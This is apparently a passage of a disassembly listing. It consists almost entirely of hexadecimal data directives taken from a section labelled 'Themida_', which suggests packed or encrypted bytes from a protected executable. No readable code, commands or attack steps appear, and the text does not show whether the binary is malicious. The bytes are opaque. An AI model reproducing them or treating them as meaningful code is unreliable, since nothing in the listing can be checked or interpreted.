		dd 0C1E25AA6h, 0A5F65EAAh, 0BBE962AEh, 0C07EC262h, 7DC0C5C2h
		dd 4AA27DACh, 6FF04AF2h, 33F52E7Ah, 7A71E61Dh, 3129122Eh
		dd 2B075AE5h, 14607223h, 0B570F28h, 6376E940h, 1A42FB17h
		dd 50DB2741h, 9C389EF7h, 0BF66EB66h, 1A84F773h,	58844FC7h
		dd 19F66884h, 5C704FC7h, 4FC719EAh, 0E03FE74Ah,	51C10456h
		dd 99549B30h, 0E22C2C2Ch, 0F13C6F74h, 7A1454h, 0EFC80000h
		dd 0DA64AEFAh, 221D6981h, 3985617Ah, 37034F06h,	0C6B3493Bh
		dd 3093C14Fh, 0F11625BAh, 105E54h, 25160000h, 69E22Eh
		dd 0A7168864h, 0FB164FC6h, 5A86251Fh, 0C6B32096h, 4FED144Fh
		dd 0C6B30B7Bh, 2C06294Fh, 461C322Bh, 31D831FAh,	1A302213h
		dd 0D930FB47h, 0D590F30h, 421B3C01h, 540A2DF6h,	9BF13F08h
		dd 0D8F4C838h, 4FC6B366h, 8ECF6BC6h, 90D18BD7h,	0DCA68EDAh
		dd 327E5586h, 4A6077E8h, 1E6A8197h, 3CE53C07h, 2D795403h
		dd 2F1F2B0Fh, 0FD4FC6B3h, 342A4622h, 0F84FC6B3h, 0E948FD19h
		dd 0A2BD3291h, 0A5BDDE56h, 938CD88Fh, 0B0CC57AEh, 2E65F34Fh
		dd 0C7A02C22h, 621004Fh, 1521C421h, 677A9048h, 0C39F21Bh
		dd 5679EF26h, 2D54F1A2h, 6Ah, 7FEFFBDFh, 0AD4FC738h, 817EC852h
		dd 49955066h, 49022BFEh, 2DF64216h, 0D94E85DBh,	0DE8AB2FEh
		dd 0C702C5h, 19F5C1F5h,	4CD7233Ch, 47E5332Bh, 0E639458Bh
		dd 2E57D039h, 3C57CD08h, 4754F180h, 4Ch, 556681DFh, 0C6B30579h
		dd 2108274Fh, 16627926h, 955112Ah, 0B31F8F5Bh, 0F20D4FC6h
		dd 3B911F28h, 206C63D8h, 64814E38h, 0E850F18h, 554FC6B3h
		dd 43F42F7Bh, 125E798Fh, 8AE030FBh, 2E64A04Bh, 155E61D7h
		dd 12554F1h, 0B9000000h, 7A566781h, 4FC6B304h, 0B3188E62h
		dd 0F51C4FC6h, 101BF20Dh, 112F7B6Fh, 40182E28h,	2FD62BF4h
		dd 3C010DF4h, 2A9F760Ch, 0B72EA36h, 0FBBE2139h,	252225BCh
		dd 0D78C60FCh, 0D5498EEEh, 332D0E3Ah, 45F24BE7h, 4617418Dh
		dd 31C4894h, 0DBD7F6D9h, 63FDB28h, 0EDCF66Eh, 7307C56h
		dd 4C1F0854h, 53B94AE5h, 18FB5DB9h, 0F963AFA3h,	0BBD18CADh
		dd 64AE57A3h, 0B593DFF3h, 0B2D1C589h, 0BC63560Fh, 0B8AACD72h
		dd 0CB84B36Ch, 0B9509CB5h, 0CA16D16Eh, 7A59AF81h, 2DE83ECFh
		dd 0DE56A2B8h, 3A1527BCh, 19E5C5Bh, 5BF20000h, 364C09E9h
		dd 0F13AD31Fh, 6753F118h, 0C6B2F363h, 1662764Fh, 6ECE340Dh
		dd 0C6B2EC62h, 48E1404Fh, 9D5A76EEh, 0CF498EB8h, 9248F730h
		dd 29411A46h, 19657ADDh, 77DF3B0Eh, 7CE83426h, 0F723F60h
		dd 31D83170h, 0F2E3323h, 141E0156h, 45560C2Bh, 0F2E3529h
		dd 0F118F756h, 0F2AF2A53h, 0B50BB5ADh, 49C64B4Ah, 76C002C0h
		dd 0EB2A80D1h, 20186476h, 3965617Eh, 7E46575Bh,	509CB420h
		dd 0C49972D7h, 805BC45Ah, 4C3C7E0Bh, 6535F23Ch,	0C9000000h
		dd 307C5586h, 310812F7h, 2A1C302Bh, 0A4FC6B3h, 8E62FE27h
		dd 4FC6B2E8h, 0D1E3526h, 0C6B34D41h, 0E940DF4Fh, 0EB34DB4Dh
		dd 0C6B2ED61h, 0A0011D4Fh, 7CC875CAh, 7DB7CF9h,	1AF95FBBh
		dd 0BDABD97Fh, 0C70C8DB1h, 0C496BF4Fh, 0B35AAF78h, 0E5FCDD89h
		dd 0B59E7D99h, 52000000h, 82DC4C31h, 2BA47FCBh,	350F2B12h
		dd 75D3E95Bh, 8EB8DE59h, 36F11049h, 273B5109h
		db 0DBh, 50h
word_5B0332	dw 10F9h		; DATA XREF: Themida_:0053DC98o
		dd 15637728h, 0BD078C09h, 0F864BDDAh, 2B9608E4h, 0FCD0560Fh
		dd 560F2B8Ah, 809F87AAh, 0CE0391B6h, 42560F2Ah,	1E34A96Ch
		dd 31136AD2h, 99212D1Bh, 534FD1FBh, 146F90ACh, 6D4912B2h
		dd 2758ED49h, 3B5CE733h, 549DA28h, 0C692C647h, 9BB3E45Fh
		dd 3E6BD44Fh, 21003C89h, 0BB1A7000h, 0A967AB0Eh, 7FA6E1A6h
		dd 0EC5CB7CDh, 7C737E93h, 520652D0h, 3DE43D06h,	0E6FE3EF1h
		dd 836C767Ah, 81A04990h, 83F3F7E3h, 0B1560EE4h,	0D08CC44Eh
		dd 5DAF0E7h, 80C650B9h,	75D3E95Bh, 2D797049h, 67030FF2h
		dd 49898363h, 8FDBF2E3h, 0C9829D83h, 0B8AEC496h, 0B74EB36Ch
		dd 0F006DC7Dh, 0C9A0ABF7h, 0C4CDE760h, 0A759A370h, 0B7E863AFh
		dd 84D08DA3h, 84BF66BBh, 62B2FED3h, 0E1EC90Ch, 0F2E85DB8h
		dd 0F5EDAEA6h, 0E5019EA9h, 96E28E99h, 70B0A6AAh, 0D3846AA4h
		dd 8C75AEFAh, 5CB79975h, 0B9A7F3E7h, 0A877C5A0h, 8AA0A6B5h
		dd 0A9AD89A0h, 13CCE2F8h, 7DB7CC7h, 709970BBh, 3AF8E99h
		dd 63000000h, 6B811763h, 5F73241Fh, 74671813h, 69801F28h
		dd 5A75221Dh, 6D62150Eh, 5D792621h, 6F691611h, 5E772823h
		dd 68741912h, 6592h, 57242C89h,	0C781E789h, 4, 8704EF83h
		dd 895C243Ch, 89562404h, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 241C895Ch, 4EC81h, 1C890000h, 195ABB24h, 0E3B80851h
		dd 310E1E28h, 8B545BD8h, 0C481241Ch, 4,	4EC81h,	0C890000h
		dd 89C18924h, 8B59084Bh, 8957241Ch, 4C781E7h, 83000000h
		dd 3C8704C7h, 34FF5C24h, 0C4835824h, 45D5E904h,	3740FFF9h
		dd 0A58143CFh, 8B8D949h, 3064F37h, 0B1E0FFC5h, 0C309A2Ah
		dd 613A86A0h, 2B7C1BBCh, 65462597h, 0B26ADABFh,	502606FAh
		dd 456CC15Fh, 0FC01B26Ch, 0B8475B14h, 0C70F8615h, 7F5FC8A6h
		dd 30325351h, 9D204766h, 4E75DF54h, 0EF6F93BEh,	2428728Ch
		dd 593B1782h, 0C04F967Ch, 0DF66EB64h, 0DC323AA6h, 0EB7B00AAh
		dd 36764904h, 4FFE941h,	0DA8A0000h, 0D8F5A68Eh,	0DDF3A48Ch
		dd 0E0F6A791h, 0E4FB9C94h, 19C1A098h, 0C56FBB94h, 0C771BD94h
		dd 0BF79C596h, 0D880CC9Eh, 0E2D498C4h, 525615EAh, 69812F73h
		dd 297A221Dh, 75664130h, 2690FE29h, 0FED98690h,	1D98AB2h
		dd 0E9D26AB5h, 0B602D7EDh, 0A16D946Dh, 0D9529EB4h, 563AFA6h
		dd 0C102C39Ch, 0EA44EC44h, 669DF355h, 0BDABF9F1h, 67E7BBECh
		dd 2BC32BE5h, 0F2C9F200h, 6B80211Bh, 0E345E51Dh, 0BF661E66h
		dd 0C30FC495h, 4F9DB4A5h, 9774F576h, 0B56E9705h, 6ADCF04Ch
		dd 0CA4FC700h, 0C572CB67h, 0C987C00Ch, 75C19CBDh, 95BB57AAh
		dd 0C612C93Eh, 0FF15CD8Eh, 0BFA29DE9h, 9BBFDD66h, 0C700DFCFh
		dd 68B24D4Fh, 0C700970Ch, 6A4B6F4Fh, 49202B77h,	38A86BEDh
		dd 8D90AE7h, 3ABADEBCh,	4FD13AC1h, 91C34F7Fh, 54F1E90Eh
		dd 8AD691AAh, 70BF68C1h, 0DD026EDBh, 73F73802h,	8F000000h
		dd 221D6981h, 0C6B3128Ah, 7BEF44Fh, 0F1160E91h,	17554h
		dd 86090000h, 0F52E7A55h, 7855020Ch, 0D975A32Ah, 274DB602h
		dd 0AAE3254Dh, 0A439A4E1h, 0A4B8A47Dh, 0C6CCD6C8h, 5FBB564Fh
		dd 509CB9E6h, 62AEA8D7h, 1F3B87E9h, 0C6CC5B4Bh,	4737134Fh
		dd 0E54FC6CCh, 0F13DE44Ah, 834A45Fh, 33EC382Fh,	0CC0C82CEh
		dd 1204FC6h, 0E12D2835h, 0E8342677h, 55861670h,	0F0666A7Bh
		dd 444FC6B2h, 6DEA44DDh, 7A1D2672h, 3D0C1763h, 0C713C6EFh
		dd 0B92EE56Bh, 0C5F6529Eh, 9D84BF0Bh, 0B8A1BD91h, 98C5519Dh
		dd 66B2ACC2h, 0FDD384BFh, 0E7CF76B1h, 1419B62Ch, 5D6A54F1h
		dd 4000000h, 111A6681h,	0F52E7A6Eh, 8438F42h, 0F9327E57h
		dd 17C20157h, 0EF649FF5h, 0D884ACF8h, 0BF9DE9FFh, 0C6B3BBABh
		dd 7C96794Fh, 6FB804DBh, 81CA16D0h, 0A117EEE4h,	54F1140Eh
		dd 5D75h, 66810900h, 987E9A18h,	0B24E9A50h, 0ED54B044h
		dd 0CB54AD54h, 0E06BB7ACh, 0A61BFAD0h, 91EB65B1h, 2C186481h
		dd 400B570Bh, 0B3564824h, 3BD64FC6h, 75FF48D2h,	4FC6B2FEh
		dd 29226E65h, 0B146076h, 758B7734h, 2E1E521Eh, 16D27D58h
		dd 14AF25E0h, 0A454F117h, 0C44E9AB3h, 163h, 6781FB00h
		dd 7B6F101Bh, 1E34F42Fh, 125E72E7h, 0DBF1532Ah,	0BDAA616Dh
		dd 1D04498Eh, 85617A22h, 6A80DD39h, 6D65361Eh, 168E2621h
		dd 5C560EC2h, 885ACF06h, 8F43143Ch, 435C0843h, 7D59B723h
		dd 0F813F631h, 0E5318731h, 0D166278h, 0BA2FE63Ch, 0A2F45CA8h
		dd 5B39E21Dh, 11766h, 0E95B0000h, 9E5975D3h, 0D0498EB8h
		dd 2D221331h, 370366E1h, 2D79710Eh, 34805203h, 2A21F708h
		dd 0EF388457h, 50D5F11Ah, 216D62D5h, 5B0F3015h,	4E08310Fh
		dd 3D896102h, 2A131F02h, 0D74C87DFh, 3902B503h,	0ABA8AB00h
		dd 758EDA82h, 3D2E5AF8h, 87E016F1h, 7B0856E0h, 85B39E0h
		dd 4Eh,	7855869Eh, 26216D62h, 861EA43h,	8441861Fh, 0DB37BC37h
		dd 74D00054h, 0C749B658h, 101BF64Fh, 0C74A1284h, 0FBDA004Fh
		dd 0E3FAFC60h, 0DCF08C97h, 4FC74A6Ah, 67BE67CAh, 4A51F5F9h
		dd 9CBD4FC7h, 59B07BC7h, 8CC46BBDh, 6B89h, 55864500h, 4CE32F7Bh
		dd 6468D4ECh, 498EB8EBh, 97FC2A53h, 3E7D3EFAh, 75D32EF4h
		dd 0F33F8B44h, 0E9352D4Ah, 5102336Fh, 4BE73A05h, 130C580Ah
		dd 0F884079h, 27DEB456h, 0DC54A0B2h, 0AF8DA395h, 0D25BD59Bh
		dd 43FC234Fh, 39F23E14h, 7A261F7h, 2D211D35h, 4956491Fh
		dd 206884E0h, 50499182h, 0A16A93B1h, 99499F1Ch,	1F69ED49h
		dd 4F09E95Bh, 223E2A03h, 50071D39h, 3FE63B04h, 853177F3h
		dd 0A07F4989h, 96E2F8A7h, 12DE029Eh, 5615EA9Ch,	0B8A57190h
		dd 85D18CA2h, 9709A39Ch, 9B0F0F31h, 236F664Fh, 2F352945h
		dd 18F790FDh, 4795CFEh,	0E5A024Eh, 33EA35F5h, 5D72053Ch
		dd 411EF811h, 3562DD29h, 0A7F2CB19h, 15C315F0h,	69F533ECh
		dd 0EF4B9750h, 1D35AA69h, 834773D1h, 90FD4313h,	1C34FE21h
		dd 101B677Bh, 0D2Dh, 0D6FF00h, 86E45AB4h, 0E42E7A55h, 6B810955h
		dd 5F73241Fh, 74671813h, 69801F28h, 5A75221Dh, 6D62150Eh
		dd 5D792621h, 6F691611h, 5E772823h, 53741912h, 0C381E389h
		dd 4, 8704EB83h, 248B241Ch, 4EC8324h, 51243C89h, 0C181E189h
		dd 4, 4E981h, 0C870000h, 1C895C24h, 0A9B85024h,	3546CD2Bh
		dd 79EA347Bh, 28182505h, 58C789C7h, 241C8B54h, 8104C483h
		dd 4ECh, 243C8900h, 0CD242C81h,	8F3AF702h, 43810843h, 0F702CD08h
		dd 241C8B3Ah, 81E68956h, 4C6h, 4C68300h, 5C243487h, 51243C8Bh
		dd 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFF94067h, 3C68B89Ch
		dd 0C503064Fh, 32CCE0FFh, 0FDE0409Ah, 9D440CE3h, 0B93C2EC5h
		dd 1A7732EEh, 0AE906F2Ah, 91780062h, 1A04AB9h, 91886AE6h
		dd 0E7364D31h, 0E150BB2h, 8501266h, 0C7EE6F00h,	5462D6Bh
		dd 8EC577ADh, 6C0459A8h, 2DE8790Dh, 0A0517632h,	0DD5168D4h
		dd 74F862B8h, 4EB3E92h,	4459BFB7h, 5C7E9h, 0E9352700h
		dd 0EB372E6Fh, 0EC383071h, 0EF3B1344h, 0EF3B1445h, 6BF0D645h
		dd 6F302874h, 55062E7Ah, 590A327Eh, 97FB3581h, 0F0077753h
		dd 0CE255615h, 1D698184h, 2B3F1B3Fh, 4FC6B33Bh,	443A16F9h
		dd 0E84FC6B3h, 2758ED49h, 2B6CE430h, 617DEB37h,	0C6B3198Dh
		dd 1AF41B4Fh, 14607225h, 46381428h, 1B4FC6B3h, 0EE11F945h
		dd 5D811B24h
		dd 0C6B31D91h, 26F00F4Fh, 57D01C39h, 68E32F28h,	4AD52137h
		dd 0C16CA7FFh, 45BA196Fh, 4B17418Dh, 0F32C786Ah, 0E6322D0Eh
		dd 0C580B4Ch, 5510730h,	5F742529h, 0EB428E49h, 142A3F60h
		dd 0D138F33Fh, 2B41EF38h, 4A6073E8h, 2BFE4995h,	51095A02h
		dd 39223A05h, 0F356D11Dh, 0B3584B27h, 82B04FC6h, 15B2CD43h
		dd 86D154F1h, 83000000h, 14307C52h, 0C6A74638h,	0EF4BE64Fh
		dd 5C1D8655h, 37D35A89h, 441647D3h, 2F252FF8h, 0D74FC6CEh
		dd 72BE92C3h, 94C650B9h, 3128BB31h, 15B54F1h, 0F3000000h
		dd 2F7B5586h, 234E25D4h, 18223322h, 9428E47h, 15337F56h
		dd 56E02C24h, 0FC2A53F1h, 0EB4DFA91h, 0BA94C14Dh, 3611386Ch
		dd 291A1A1Ah, 267E02Ch,	0FA50202Bh, 0D48AAB1Bh,	0D06ABF88h
		dd 0D28AD68Fh, 61ADA596h, 86D288D5h, 0ADA992CEh, 0B783E661h
		dd 1A66818Dh, 2B776E11h, 1C687F20h, 135F7423h, 0EE606C18h
		dd 3E4FC6B2h, 0D83B91E3h, 35C2372Bh, 879E499Eh,	7550A6h
		dd 0A19BE7h, 0F2A59EEAh, 0EC9992DEh, 0F6990FC6h, 8D54F11Ch
		dd 8Eh,	1A668121h, 2E7A6E11h, 1F302912h, 0C6B35B4Bh, 0CF36D94Fh
		dd 0D82EFA43h, 83CF88FDh, 81CF88D9h, 37E872EAh,	55CE373Fh
		dd 84E02C22h, 0EB70ED1Bh, 4B420C44h, 3D1649E6h,	924CEF16h
		dd 0A24FD46h, 0EB2A0835h, 0F1295A75h, 612954h, 86BD0000h
		dd 212F7D55h, 0B03D1FD0h, 65BE43Dh, 1E342B2Ch, 0EB373147h
		dd 9200960h, 1B35263Eh,	411243CFh, 5CE7332Bh, 17401C05h
		dd 2419F541h, 48243884h, 4FC75656h, 79DF3BD6h, 0DE2A259Ah
		dd 64810C76h, 44750F18h, 79F13D89h, 4FC6B302h, 7FF5D006h
		dd 54F11564h, 226E6354h, 11718h, 86AF0000h, 0C2F7B55h
		dd 0E9400B57h, 0C58104Dh, 384E0730h, 0E42ED723h, 0DA263C5Bh
		dd 87E526Eh, 2C4FC6B3h,	54142905h, 253B2F08h, 0FB44DD29h
		dd 8F460C26h, 4EFA461Ah, 865C726Dh, 0F118F13Ah,	5510936h
		dd 1D3EE73Ah, 0D62BF440h, 1B1D143Ch, 0B33A2C40h, 17FA4FC6h
		dd 156E52EEh
		db 0BFh, 68h, 0F5h
byte_5B0D6F	db 0DBh			; DATA XREF: Themida_:00564EAAo
		dd 10FE748Fh, 37835DFEh, 71F915ECh, 498EFFBAh, 65120DF4h
		dd 6637216Dh, 851F2874h, 13FC151Ch, 62DFDEE1h, 4E9860CDh
		dd 0CDA57198h, 560EB7D7h, 990EC59Bh, 0EEC775C1h, 0C78FABF7h
		dd 0AF78C496h, 0B28EDA90h, 7B8A7D51h, 88923592h, 0B91C72BFh
		dd 1A428E44h, 39323B48h, 184485Bh, 5BDE0000h, 5975D3E9h
		dd 498EB89Eh, 4EF631D0h, 815C726Dh, 0EE53CC35h,	0FA45914Dh
		dd 984A0B27h, 0C883CF82h, 0CF90C861h, 2354CF1Bh, 5485E32Fh
		dd 5FE8327Eh, 0E459BC12h, 0A4F3A0EEh, 853D85F1h, 74AFFBD2h
		dd 0EFC8748Dh, 0D906A8F6h, 0A906A904h, 0A2B680h, 5B3961E3h
		dd 85A0h, 55863600h, 3C102C78h,	4FC6B34Ah, 44EB47EAh, 5884E010h
		dd 0C6B32294h, 23EF124Fh, 4BFA2337h, 0D2364999h, 0E52CD36h
		dd 10991050h, 6CC86E06h, 15464FC7h, 0FE24EE3Ah,	3F144523h
		dd 45D138F3h, 6D027400h, 0EA104FC7h, 0DF62BB2Bh, 92A1DD3Ah
		dd 0FFADFF9Fh, 0A73BA724h, 0BBB0A48Bh, 0C6CABFAFh, 7B926D4Fh
		dd 0CA5D01CDh, 0B0894FC6h, 4EB36CB8h, 33AB35B5h, 0F43E383Eh
		dd 4475D32Eh, 60F8428Eh, 0A5FDh, 0E95B9100h, 0DE5975D3h
		dd 10498EB8h, 2D0E36F1h, 104DE935h, 418D445Ah, 3B2F70E8h
		dd 0D27BD4EDh, 0A7805680h, 0ED8DF18Fh, 0B14ED3Fh, 0EC54881h
		dd 0C7F0BC56h, 0A188C30Fh, 8B00C395h, 95D18BD7h, 0C6B1A5A9h
		dd 9C83560Eh, 879D9F92h, 0A36E15D9h, 899A4FD1h,	69C1E9C3h
		dd 7085676Eh, 0FEDFFE83h, 0FA150B27h, 105C0E31h, 24E0334h
		dd 0F156E049h, 95CA333Fh, 65899330h, 68ABAD89h,	0E7556BCDh
		dd 0A0ECE2D3h, 0CEA0E2D4h, 63AF524Fh, 7D50F3F7h, 0A37E4991h
		dd 0C194EDB9h, 752BFE8h, 44074650h, 0AA83B683h,	0E95BB690h
		dd 281E320Eh, 0C4FC6B3h, 0B3574725h, 3AD54FC6h,	704975D3h
		dd 4B1E2975h, 8FE083EFh, 33CE4989h, 0DF2B2415h,	954DEA53h
		dd 9C4E0F49h, 22BDD750h, 49141F8Ch, 19657A90h, 59D23B0Eh
		dd 5DE63226h, 0B35EB50Bh, 53C80B61h, 7E526E7Fh,	94207408h
		dd 0F767052Ch, 32942073h, 0BBA4CFA6h, 0AC53BBA3h, 62CABC90h
		dd 0C76A9420h, 0ADA5F65Eh, 9DB9E661h, 0C49AD651h, 0C0D68C01h
		dd 7BCE59A5h, 88C30FC8h, 8FD088A1h, 0A1948FDBh,	0Ah, 3B875A7Bh
		dd 47FD19F0h, 6B811763h, 5F73241Fh, 74671813h, 69801F28h
		dd 5A75221Dh, 6D62150Eh, 5D792621h, 6F691611h, 5E772823h
		dd 68741912h, 3786h, 89240C89h,	4C181E1h, 83000000h, 0C8704E9h
		dd 89535C24h, 4C381E3h,	81000000h, 4EBh, 241C8700h, 2414895Ch
		dd 1F6568h, 24348900h, 2907BB53h, 81430B05h, 0B5EBAEEBh
		dd 5B5A5304h, 24348B54h, 8104C483h, 4ECh, 24148900h, 8B08468Fh
		dd 89502434h, 405E0h, 4050000h,	87000000h, 0FF5C2404h
		dd 835A2434h, 44E904C4h, 1BFFF93Ah, 79F0885Ah, 5D1C9E89h
		dd 4F42A0B8h, 0FFC50306h, 4ECD13E0h, 0A748DA21h, 7FC84F53h
		dd 8CB87E04h, 15EC1F28h, 65F2C43Eh, 0FCCACF2Fh,	0A7B0F66Bh
		dd 893C833h, 846D766h, 13174927h, 0F06F1B7Fh, 0B761CB00h
		dd 0B8DB6168h, 5A94280Ch, 1BAB1A0Ch, 118D8D1Fh,	0F5064F44h
		dd 0A198D89h, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0C7DF29C3h, 480F3585h, 69B006h
		dd 0E5BD8900h, 0C7064828h, 48242585h, 6, 95B58900h, 0FF06481Ah
		dd 482281B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0A2EC6545h, 2A86BB66h, 20BD95FFh
		dd 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 9F2DD4C3h, 0AEC1328Ah, 0B45BA30Eh, 0FF006A31h
		dd 48306195h, 0EBC08B06h, 0BB18F2Dh, 29C55D59h,	0F791CFF5h
		dd 4BE4979Ch, 0D3DE31CBh, 43C6C7D9h, 992A816Eh,	8544C777h
		dd 53F76E41h, 864DB613h, 5F7C001h, 4EB3921h, 5DA99CBh
		dd 5D1E9h, 0D5213300h, 0D7233A5Bh, 0D8243C5Dh, 0DB273F60h
		dd 0DB274061h, 57DC0261h, 5BFC3480h, 61023A86h,	45163E8Ah
		dd 8317418Dh, 0F7239357h, 0B2115615h, 1D698170h, 495A7522h
		dd 0C6B31185h, 60FC234Fh, 0C6B31A8Ch, 0EF71A4Fh, 88617A26h
		dd 141E033Ch, 727E8F43h, 4FC6B2FCh, 0B2F0666Ah,	0DD444FC6h
		dd 55492545h, 0D74FC6B3h, 0EF38D138h, 1D696455h, 441C3F22h
		dd 29411EF8h, 183562DDh, 9FF553CCh, 0AFFBEF64h,	0E905D985h
		dd 4FC6B375h, 0A1BE58B7h, 85D67ECAh, 9BC982CEh,	0B3BBABBFh
		dd 0BDAE4FC6h, 9C769971h, 0D15AA6BBh, 0B671BDAEh, 0B2BECF89h
		dd 4FC6B3BCh, 0AF789170h, 5D08CBA1h, 0CE3E95EBh, 0B368DEF2h
		dd 65CC4FC6h, 8BD78CC9h, 8EDA90D1h, 0F7D3E795h,	4FC6B387h
		dd 0C4B08AA5h, 4FC6B3CFh, 0B873BF92h, 0BF88D487h, 5B01349h
		dd 84FAD9F7h, 54F115FFh, 7DC9A0B9h, 5C74B1h, 810A0000h
		dd 7A221D69h, 0F76AF929h, 0F9159515h, 0C770FB71h, 0C6EF0B4Fh
		dd 0E177C30Fh, 0D417AC22h, 16C54F1h, 2000000h, 77536481h
		dd 4FC6B307h, 28230A25h, 19125E77h, 49954A6Bh, 4E0F2BFEh
		dd 75D34C98h, 45391529h, 0E74FC6B3h, 0A96CEE48h, 63CD1934h
		dd 0FE4A1E37h, 0E32F2334h, 66810F79h, 0FCC42C55h, 0B77FB7C2h
		dd 0C786A599h, 55A1BC4Fh, 0DAF652ADh, 4FC78664h, 87C069C8h
		dd 76B1FDD8h, 0B80439Bh, 0F500854h, 8310F5Bh, 0E346014Dh
		dd 9751EE57h, 231C6881h, 2B222D3Ch, 0BC652C65h,	93C3DA65h
		dd 3A15BA30h, 9E6E54F1h, 8000000h, 111A6681h, 0F52E7A6Eh
		dd 0FBEEC713h, 818D74AFh, 687FF4CFh, 4F68341Ch,	0D3C38798h
		dd 614FC6B3h, 85DC67BEh, 67B3ACA9h, 0F07A8F9h, 2CD7233Dh
		dd 0ACC0E685h, 4FC71FBAh, 0A46E977Ah, 94E2FC9Bh, 986B646Dh
		dd 0B671988Eh, 0F66CA78Fh, 54F1D7D9h, 64AAh, 0C416200h
		dd 0C51A0A47h, 8646001Ah, 0F9327E55h, 7E590610h, 0B226E68h
		dd 0F96D815Dh, 704FC6B2h, 0DF42F7Bh, 47001AF5h,	0CCF54318h
		dd 0C4FBCA51h, 771912FBh, 726DE221h, 49722E26h,	0B0A24492h
		dd 3B7F3BA0h, 26F059D2h, 18648120h, 0B30E850Fh,	0DCFA4FC6h
		dd 0B6B089F9h, 0F18ED06Ah, 9254F115h, 1, 1B67812Ch, 5D1D42Dh
		dd 7D5242CFh, 0C6B3FD71h, 39D02F4Fh, 233768DDh,	0B4483E12h
		dd 45EC4FC6h, 4F2563DCh, 0C59B0474h, 0B0C4C35Eh, 0E2D498C4h
		dd 524FC755h, 0DEF263AFh, 71D3AA92h, 2AE1ED5Bh,	84498F60h
		dd 0E1FAA29Dh, 15EB804h, 0E2B39DE9h, 119BA4F0h,	560F609Bh
		dd 0D24281D7h, 89A5F1E9h, 9ECA16CCh, 60B8AEC2h,	0B4B1560Fh
		dd 0D35FC268h, 0BC08DA7Bh, 0B2FED483h, 0C30FC679h, 0B804D788h
		dd 894CA26Fh, 1CF74FDEh, 0ED67B3A7h, 39C318ABh,	9BBCA05Bh
		dd 65D977C3h, 0C7560F54h, 0C681CD9Eh, 0BF70CA63h, 133h
		dd 0D3E95B57h, 4F870C75h, 97529785h, 540BDF7Bh,	82498EB9h
		dd 0DFF3A49Fh, 87C00CC9h, 58B1FDD8h, 4D687B1h, 1AD06FB8h
		dd 9EF455CEh, 94E0F267h, 0FE0157A8h, 1FE11FFFh,	86193B13h
		dd 0FD5B3987h, 4Dh, 0CF055B91h,	0B2B95D71h, 4354FC6h, 0DD44FF4Bh
		dd 0F730CF51h, 0D94D344Dh, 83D7834Bh, 2ECBBBB7h, 1B474FC7h
		dd 3E12233Ah, 4FC72E48h, 52DC45ECh, 362AC500h, 0E88E62FEh
		dd 0EC4FC72Dh, 0AC080B45h, 0E4000000h, 720B74BBh, 4AE403E4h
		dd 0D3E95BF4h, 0B8DE5975h, 0F110498Eh, 5510936h, 0C580A4Bh
		dd 0BC407913h
		dd 0ABA3560Eh, 9AB3E45Fh, 0B1A2D54Eh, 0A587DA65h, 0A7C9744Fh
		dd 2182F2D1h, 0E11F9021h, 855E15Eh, 495A0652h, 0D839303Bh
		dd 47371383h, 0E5560F82h, 0FF57E34Ah, 54F00838h, 251E6A63h
		dd 666AF23Ch, 4FD2C5B1h, 79231C03h, 5C1F5E28h, 0D0734973h
		dd 1542CC18h, 2A53F13Dh, 0AE5A715Ch, 0DB64AE31h, 0CE59A5BCh
		dd 0E06BB7B1h, 4EFBDAB0h, 165ED960h, 3DEF1670h,	0EF51EC27h
		dd 0B05F6BD9h, 384991D9h, 5DFE4A1Fh, 48DA3480h,	86156FE9h
		dd 0B320965Ah, 824E4FC6h, 4FC6B30Ch, 6290120h, 1D33052Ch
		dd 0F33F163Fh, 2F3B27h,	2E4989F7h, 0B2C58D3h, 1F3D0652h
		dd 15F75B4Bh, 0CF36D956h, 0F4401243h, 0FB471B3Ch, 2A231430h
		dd 0AAFCACDCh, 7EA75AA7h, 9AD25CC5h, 52A35A37h,	0F96EA5FBh
		dd 0FA9B95E1h, 0F4A39CE8h, 8EB28EDAh, 0DEA89EB2h, 0A58C55A0h
		dd 0A0DED7C7h, 0F9F05555h, 768F72ADh, 99E5A39Ch, 0E45FABC0h
		dd 0DEC2B4B8h, 8F7255A0h, 5FB69C76h, 793E8EEFh,	6544653Ch
		dd 559357BAh, 0FD19E519h, 5D748A60h, 0EE3A2E11h, 667C1D17h
		dd 530D2E1Ah, 77E53C07h, 0A1210373h, 44CE3155h,	0A74061FBh
		dd 0B804DD49h, 10D8124Fh, 335EDD60h, 40DA33CBh,	3DDh, 17637100h
		dd 241F6B81h, 18135F73h, 1F287467h, 221D6980h, 150E5A75h
		dd 26216D62h, 16115D79h, 28236F69h, 19125E77h, 0E0895074h
		dd 405h, 42D00h, 4870000h, 2C895C24h, 0E1895124h, 4C181h
		dd 0E9810000h, 4, 5C240C87h, 57241489h,	0C781E789h, 4
		dd 4EF81h, 3C870000h, 34895C24h, 77B2BA24h, 0BD5537DAh
		dd 69345FDDh, 4507EDC1h, 280ED81h, 0F58172B5h, 0BF8855BCh
		dd 685DEA31h, 76F4h, 81242489h,	42404h,	555E0000h, 6E895D52h
		dd 34FF5D08h, 0C4815E24h, 4, 5724148Bh,	0C781E789h, 4
		dd 4C781h, 3C870000h, 44E95C24h, 8FFFF933h, 0B375BCC9h
		dd 7EB806F2h, 3064F49h,	58E0FFC5h, 0DA0D0A73h, 66483F9Bh
		dd 0C536B1E1h, 64145B6Eh, 976C7A0Ch, 1C1C5172h,	43C3382h
		dd 21373809h, 8A6A82E4h, 8464A676h, 0B15D3A13h,	125B7FF4h
		dd 0EB10EFBEh, 0C37D3904h, 577E92Ah, 4A1A0000h,	480556FEh
		dd 4D0354FCh, 50065701h, 540B4C04h, 9D15008h, 0D57FCB84h
		dd 0D781CD84h, 0CF89D586h, 0A890DC8Eh, 72E4E834h, 0C25615FDh
		dd 461C3D23h, 5B0E31FAh, 221CF60Fh, 327E5586h, 590610F9h
		dd 4DEA3581h, 91A4692h,	1E2B062Dh, 3C141E54h, 30FB471Bh
		dd 140F5B0Fh, 0D97D1768h, 9BC49D7Bh, 0D5537E55h, 0E22CD500h
		dd 300C5875h, 3B045007h, 15F34CE6h, 0DB8F04BFh,	0DFF4A58Fh
		dd 0F1FD0EC9h, 4FC7057Dh, 6EB950AFh, 63AFA89Bh,	1AD192CAh
